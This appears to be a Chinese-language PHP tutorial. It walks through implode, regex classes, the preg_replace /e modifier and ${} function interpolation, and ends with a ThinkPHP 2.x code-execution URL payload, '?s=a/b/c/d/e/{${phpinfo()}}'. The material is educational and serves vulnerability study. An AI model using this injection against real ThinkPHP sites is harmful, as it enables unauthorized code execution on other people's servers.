1
2
$array = ['abbr','sdjsl','ss'];
implode("",$array);

此函数负责把数组连接起来,放到新的双引号里。

正则表达式\w表示匹配字母数字下划线,也就是

1
\w即[a-zA-Z0-9_]

\S表示匹配非空白符号,注意这里是大写,小写\s表示匹配空白符号,即space。

1
2
3
4
5
6
7
8
9
10
11
<?php
function test($str)
{
echo "This func is run $str";
}

$a = 'test("\1")';
$b = 'aaa$caaa';
$c = 'CXS';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:

1
2
This func is run CXS
Process finished with exit code 0

在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行,具体例子我们可以参考如下这个例子。

1
2
3
4
5
6
7
8
9
<?php
echo phpversion();
echo "\n";
$a = "CXK";

echo "aaaaa{${a}}aaaaa";
echo "\n";
echo "aaaaa{${phpversion()}}aaaaa";#字符串中插入变量或者函数,都可以执行,只不过要用大括号括起来

1
2
3
4
5
6
7
<?php
$var = array();
$a = '$var[\'\\1\']="\\2";';
$b = 'a/b/c/d/f';
preg_replace("/(\w+)\/([^\/])/ies",$a, $b);#正好取文件路径中的前两个文件,和一个斜杠,匹配出来,赋值到键值里面去
#前面赋值给键,后面赋值给值。
print_r($var);
1
2
3
4
5
6
7
<?php
$var = array();
$a = '$var[\'\\1\']="\\2";';
$b = "a/{${phpversion()}}/c/d/e/f";#注意双引号才能执行函数。
preg_replace("/(\w+)\/([^\/])/ies",$a, $b);#正好取文件路径中的前两个文件,和一个斜杠,匹配出来,赋值到键值里面去
#前面赋值给键,后面赋值给值。
print_r($var);

所以对于thinkphp2.x我们直接执行

1
?s=a/b/c/d/e/{${phpinfo()}}

即可!